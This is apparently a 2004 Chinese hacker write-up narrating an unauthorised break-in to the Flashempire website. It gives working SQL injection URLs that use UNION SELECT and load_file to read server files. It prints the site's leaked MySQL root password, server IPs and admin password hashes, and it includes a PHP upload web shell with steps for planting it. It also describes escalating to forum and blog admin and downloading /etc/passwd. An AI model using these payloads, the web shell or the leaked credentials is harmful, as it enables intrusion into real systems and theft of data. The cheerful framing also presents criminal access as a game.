入侵闪客帝国Flashempire 前言
今天没什么事正在几个论坛上闲逛,突然TUPUNCO 发来消息’闪客帝国主站有个地方好像有问题,你看看’,然后直奔http://www.flashempire.com。测试后发现mysql在4.0已上-支持UNION,如果利用成功,直接威胁到主机的安全。
入侵步骤 One
首先扫描一下flashempire.com 主机,发现一些常用端口。MySql数据库支持远程连接,整理了一下入侵思路还是重我比较熟悉得 脚本注入 下手吧。首先我们要得到web目录得路径,怎么办呢?就让它出错吧 ^_^ ,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句是小意思了。
http://www.flashempire.com/theater/top10.php?id=315 就已此为突破口
提交如下信息:
http://www.flashempire.com/theater/top10.php?id='
http://www.flashempire.com/theater/top10.php?id=
返回因为提交数据出错而爆出的路径,如图;
再次思考了下,自己对闪客帝国的网站系统结构一无所知。就将我们的目标定位在MySql数据库,所有当前首要任务是拿到config.php中的数据库帐号 and 密码。由于闪客帝国的主站系统是自己开发的,我们无重得知其文件列表与数据结果。这里我们考虑直接读取文件,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
当然其也有很多的限制:[php手册中的解释]
1、 欲读取文件必须在服务器上
2、 必须指定文件完整的路径名
3、 必须有权限读取并且文件必须完全可读
4、 欲读取文件必须小于 max_allowed_packet
5、 如果该文件不存在,或因为上面的任一原因而不能被读出,查询返回 NULL
首先提交如下Query:
http://www.flashempire.com/theater/top10.php?id=3151%20and%201=2%20union%20select%2050,8,7,6,5,4,3,load_file(‘/home/flash/www/theater/theater.php’),1
返回出错信息
估计是magic_quotes_gpc = on ,过滤掉了 ’号;换种方式再来一次,继续提交[char()函数]
[char()――将提交得字符转换为10进制,也可以使用SQL Encoder.exe转换为16进制得。已适应各种情况]
再次提交使用char()函数的Query:
“char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)”
就是“/home/flash/www/theater/theater.php”的ASCII代码“
http://www.flashempire.com/theater/top10.php?id=3151%20and%201=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)),1
成功读出theater.php文件代码
返回成功读出theater.php文件的代码,如图;
根据经验以及文件命名, /include/dbconnect.php就是我们的目标---存放数据库的连接信息的文件。
提交新的Query:
http://www.flashempire.com/theater/top10.php?id=3151%20and%201=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,105,110,99,108,117,100,101,47,100,98,99,111,110,110,101,99,116,46,112,104,112)),1
成功读出/include/dbconnect.php文件代码
返回成功读出/include/dbconnect.php文件的代码,如下;
$conn = mysql_connect("localhost","root","flash945") or die("数据库连接失败!");
^_^,成功拿到MySql数据库帐号;密码。刚才我们扫描得知MySql允许远程连接;现在我们用PhpMyadmin登陆上看看[phpmyadmin管理mysql个人感觉更方便一些]
打开 本机得 phpmyadmin/config.inc.php 作如下修改
$cfg['Servers'][$i]['host'] = 'localhost' //localhost修改为61.156.17.126[闪客帝国服务器IP]
$cfg['Servers'][$i]['user'] = 'root'//MySql登陆帐号,不必修改
$cfg['Servers'][$i]['password'] = '';// MySql登陆密码,修改为flash945
保存后,浏览我们本机得phpmyadmin即可以管理闪客帝国得MySql数据库.如图;
四处逛逛收集信息,发现很对该网站管理层得帐号密码。本想用社会工程学猜猜密码,单均已失败告终。天津来得朋友又打电话叫去吃火锅,本来想带MM一起去。怕回来太晚就算了。今天的入侵告一段落。
晚上回到寝室一晚上都没睡好,反正整晚都迷迷糊糊的在想如何拿到php shell以及 /etc/password/ 等东西。早上5点就自己醒了,还在回味昨天所想到的入侵思路――――利马跑到机房继续提升权限。
入侵步骤 Two
分析了昨天拿到的数据库
Mysql—MySql数据库的信息
mysql00—估计是MySql数据库备份信息
fe4—主站数据库信息
dhht—论坛信息
blog—管理员的日记信息
a4u—公司商业信息数据
……
思路 1:
首先想到的思路是利用MySQL导出Php Shell,就是利用到手的PhpMyadmin在里面一个数据表中插入Php Shell的内容,然后利用into outfile导出到相应目录,就有了一个后门。在fe4 - fe_faq表 id=16 的位置我们插入Php Shell 代码[angel的小型上传型后门].
<?php
$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "上传成功" : "上传失败";
echo $msg;
?>
<form ENCTYPE="multipart/form-data" ACTION="<?=$PHP_SELF?>" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="提交" TYPE="submit">
</form>
有了Php Shell代码,下面我们开始into outfile。生成文件的前提是目标文件夹可写!于是我们找到
http://www.flashempire.com/school/uploader.php [上传FLASH的区域,对应文件夹应该是可写的],读取/home/flash/www/school/upload_file.php
http://www.flashempire.com/theater/top10.php?id=3151%20and%201=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,115,99,104,111,111,108,47,117,112,108,111,97,100,95,102,105,108,101,46,112,104,112)),1
得到上传FLASH文件的文件夹目录为
$path = "/home/flash/www/download/fla2/";
//$path = "D:\\fe4\\upload\\";
下面浏览一下我们插入进fe_faq数据库中的Php Shell代码
http://www.flashempire.com/theater/top10.php?id=3151%20and%201=2%20union%20select%2050,8,7,6,5,4,3,a,1%20from%20fe_faq%20where%20id%20=16
返回正常,如图:
开始将fe_faq数据库中的内容导出生成Php Shell
http://www.flashempire.com/theater/top10.php?id=3151%20and%201=2%20union%20select%2050,8,7,6,5,4,3,a,1%20from%20fe_faq%20where%20id%20=16%20into%20outfile%20'/home/flash/www/download/fla2/safer.php'
试了几次都不行,失败,继续想其他办法。
估计是已下原因:
into oufile一定要引号的,而magic_quotes_gpc = on,过滤掉了我们提交的引号。
思路 2:
由论坛入手上传Php Shell,浏览dhht – setting表,得到论坛得浏览地址 http://61.156.17.126/dhht/
然后我们注册个帐号 safer/safer ;然后在PhpMyadmin中选择dhht – user数据库并执行” SELECT * FROM `user` WHERE username='safer';”把我得帐号usergroupid修改为6,这样我就成论坛管理员了。
登陆后台 http://61.156.17.126/dhht/admin/ 把论坛常规选项 -附件的有效扩展名 中添加php.然后找个人少的版面上传Php后门。结果又是失败――又到数据库中查看才知道此VBB 2.3.4没有修改过,全部附件数据都在 数据库 中Php后门当然不能执行。。。555 :(
此时陷入深思中,给angel lanker 发短信。结果angel说跑来上网看看,lanker得陪人。然后又给MM发消息,说好一起吃晚饭。这时我也冷静了下,在等angel的同时继续看闪客帝国,突然发现刚才得数据库中怎么没有闪客帝国本身的论坛数据?!。浏览flashempire.net 闪客帝国论坛。Ping 了下后发现flashempire.com和flashempire.net 是2台服务器。
flashempire.com - - 202.115.129.17
flashempire.net - - 202.115.129.49
用刚才得MySql数据库帐号连接flashempire.net - - 202.115.129.495居然也进去了。又四处乱逛,对闪客帝国论坛flashempire.net也试着上传了下php后门,结果一样――又是失败!既然这里没什么问题,思路混乱中,和angel边聊天边清理思路。最后抱着试试看得心里发据下管理员的blog表,希望在里面发现密码的相关信息。在61.156.17.125-allanblog-AllowedTypes中却以外发现了我梦寐以求的东西!
AllowedTypes:jpg,jpeg,gif,mpg,mpeg,avi,mov,mp3,swf,png
很明显这个blog允许上传影音文件,那么文件夹当然是可写得,我们得PHP后门当然也能传上去。
访问61.156.17.125-allanblog-nucleus_member管理原得密码果然是MD5加密得。还有办法,很快我下载了个同样得BLOG程序并在我电脑上安装成功,设置管理帐号safer/111。
698d51a19d8a121ce581499d7b701668 safer
5dfb3282f16949956bb84731bd4a3884 allan
用PhpMyadmin替换一下顺利登陆,然后上传我们可爱的php shell。终于上传成功,感动哦。马上给lanker报喜 嘻嘻..
然后在服务器里到处逛逛,看看管理员的目录都有那么好东西;看看Apache Ftp的配置文件并下载/etc/passwd 看看。对Linux我不是很熟悉,就此不再继续深入。如果是NT的就可以考虑下抓包等,获取密码信息渗透入公司内网。约了MM吃饭可不能迟到,给闪客帝国得admin 发 gmail 去。哈哈打电话叫 MM 出来一起吃饭庆祝咯!
行文仓促,技术有限,文章如果有误,望高手来www.cnwill.com 赐教
Safer 2004-09-06 于成都理工大学